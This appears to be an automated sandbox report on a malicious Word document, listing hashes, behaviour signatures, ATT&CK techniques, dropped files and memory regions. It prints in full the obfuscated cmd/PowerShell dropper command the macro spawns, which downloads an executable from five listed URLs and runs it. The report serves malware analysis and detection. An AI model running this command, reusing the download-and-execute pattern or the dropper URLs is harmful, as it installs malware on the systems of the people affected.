ac1799f9b3a672cdbf5d43c8a2d5c83c07069d2404e6a95c6e21a1abce0c3040

General

Target

d544eb2d174cf3065c457942e2087e78_JaffaCakes118.doc
Size

132KB
MD5

d544eb2d174cf3065c457942e2087e78
SHA1

d9d9055b06fd5984da73ce9f1a0dcd4670898c8d
SHA256

ac1799f9b3a672cdbf5d43c8a2d5c83c07069d2404e6a95c6e21a1abce0c3040
SHA512

e8ca8f1c412c18eb0f60f11186aa99b162228c36de5f6fd007e54e8d71c7906708f9689da60fe1fc4f8f7a3caae3b666e6ebb840b8b37ba5afa83927debca860
SSDEEP

1536:eVO81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvad8/2GeUUt/YQJFm0DaqGq+aa:eM8GhDS0o9zTGOZD6EbzCd8/cplVDaqQ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.binsuloomgroup.com/wp-content/uploads/TyUg_qOsCOz4O_5uPw9YSbO

exe.dropper

http://bonnyprint.com/wp-content/PCT_0H8S_L9zVHlYSF

exe.dropper

http://ftp.spbv.org/worem_2o27v_d

exe.dropper

http://flowersgalleryevents.ayansaha.com/2Z4fO_YmAY_BqDF1wD

exe.dropper

https://anhle.art/t2ZZ_zOxsnfkSJ_ClUxs

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3420	4596	cmd.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
24	1312	powershell.exe
27	1312	powershell.exe
30	1312	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1312	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4596	WINWORD.EXE
4596	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1312	powershell.exe
1312	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1312	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4596	WINWORD.EXE
4596	WINWORD.EXE
4596	WINWORD.EXE
4596	WINWORD.EXE
4596	WINWORD.EXE
4596	WINWORD.EXE
4596	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4596 wrote to memory of 808	4596	WINWORD.EXE	87
PID 4596 wrote to memory of 808	4596	WINWORD.EXE	87
PID 4596 wrote to memory of 3420	4596	WINWORD.EXE	90
PID 4596 wrote to memory of 3420	4596	WINWORD.EXE	90
PID 3420 wrote to memory of 1312	3420	cmd.exe	92
PID 3420 wrote to memory of 1312	3420	cmd.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d544eb2d174cf3065c457942e2087e78_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4596
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:808
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Stravenue97='Optional62';$Hill31=new-object Net.WebClient;$Group47='http://www.binsuloomgroup.com/wp-content/uploads/TyUg_qOsCOz4O_5uPw9YSbO@http://bonnyprint.com/wp-content/PCT_0H8S_L9zVHlYSF@http://ftp.spbv.org/worem_2o27v_d@http://flowersgalleryevents.ayansaha.com/2Z4fO_YmAY_BqDF1wD@https://anhle.art/t2ZZ_zOxsnfkSJ_ClUxs'.Split('@');$Rubber88='harddrive59';$Incredible77 = '168';$Maine11='Programmable66';$onetoone77=$env:public+'\'+$Incredible77+'.exe';foreach($protocol41 in $Group47){try{$Hill31.DownloadFile($protocol41, $onetoone77);$asymmetric79='optimize68';If ((Get-Item $onetoone77).length -ge 80000) {Invoke-Item $onetoone77;$PracticalMetalChair95='Berkshire11';break;}}catch{}}$CSS71='opensource91';
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $Stravenue97='Optional62';$Hill31=new-object Net.WebClient;$Group47='http://www.binsuloomgroup.com/wp-content/uploads/TyUg_qOsCOz4O_5uPw9YSbO@http://bonnyprint.com/wp-content/PCT_0H8S_L9zVHlYSF@http://ftp.spbv.org/worem_2o27v_d@http://flowersgalleryevents.ayansaha.com/2Z4fO_YmAY_BqDF1wD@https://anhle.art/t2ZZ_zOxsnfkSJ_ClUxs'.Split('@');$Rubber88='harddrive59';$Incredible77 = '168';$Maine11='Programmable66';$onetoone77=$env:public+'\'+$Incredible77+'.exe';foreach($protocol41 in $Group47){try{$Hill31.DownloadFile($protocol41, $onetoone77);$asymmetric79='optimize68';If ((Get-Item $onetoone77).length -ge 80000) {Invoke-Item $onetoone77;$PracticalMetalChair95='Berkshire11';break;}}catch{}}$CSS71='opensource91';
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1C7D5FD6.wmf

Filesize
494B

MD5
37325e7cf2bbaa1e6e1daf156786bcb4

SHA1
0f18474893c37eedb9ade9eea42fadfeeb5e3c66

SHA256
825b78ca124589fd25354a637a52f4d2ec6ae7e6c1e8a7176d4daa7643aae562

SHA512
c64efe3a142e6975fd0885a0c48a3a9ea9f49efff582b1baab632efad96675e8c54cf9d25859f3534fc9fbaa5e45c2adda31cd0011c2af261e6fb7713b4a63c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF239.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktsww5si.fkn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
798b2db9269cf005ddf785b8f37f7306

SHA1
ce80259c55b89295ede71b7264e1f6aace568f29

SHA256
354fc13f68874f889ed898b2843660f531b06d43ca36a9eb87cda1d61ebd7b36

SHA512
0d9ce0309c3c8abf0f78c34a6bab60644a79e6e772fd1a595ea86b6ebfbe633a51201cfb57e1accac155d9ba90add40e1b07e51aef0af491dda946c88e556338

Download Submit
memory/1312-62-0x000002798A670000-0x000002798A692000-memory.dmp

Filesize
136KB

Download
memory/4596-16-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-5-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-9-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-8-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-7-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-12-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-11-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-13-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-10-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-15-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-14-0x00007FFB63EB0000-0x00007FFB63EC0000-memory.dmp

Filesize
64KB

Download
memory/4596-1-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-18-0x00007FFB63EB0000-0x00007FFB63EC0000-memory.dmp

Filesize
64KB

Download
memory/4596-6-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-2-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-4-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-68-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-69-0x00007FFBA628D000-0x00007FFBA628E000-memory.dmp

Filesize
4KB

Download
memory/4596-70-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-71-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download
memory/4596-3-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-0-0x00007FFBA628D000-0x00007FFBA628E000-memory.dmp

Filesize
4KB

Download
memory/4596-221-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-222-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-224-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-223-0x00007FFB66270000-0x00007FFB66280000-memory.dmp

Filesize
64KB

Download
memory/4596-225-0x00007FFBA61F0000-0x00007FFBA63E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads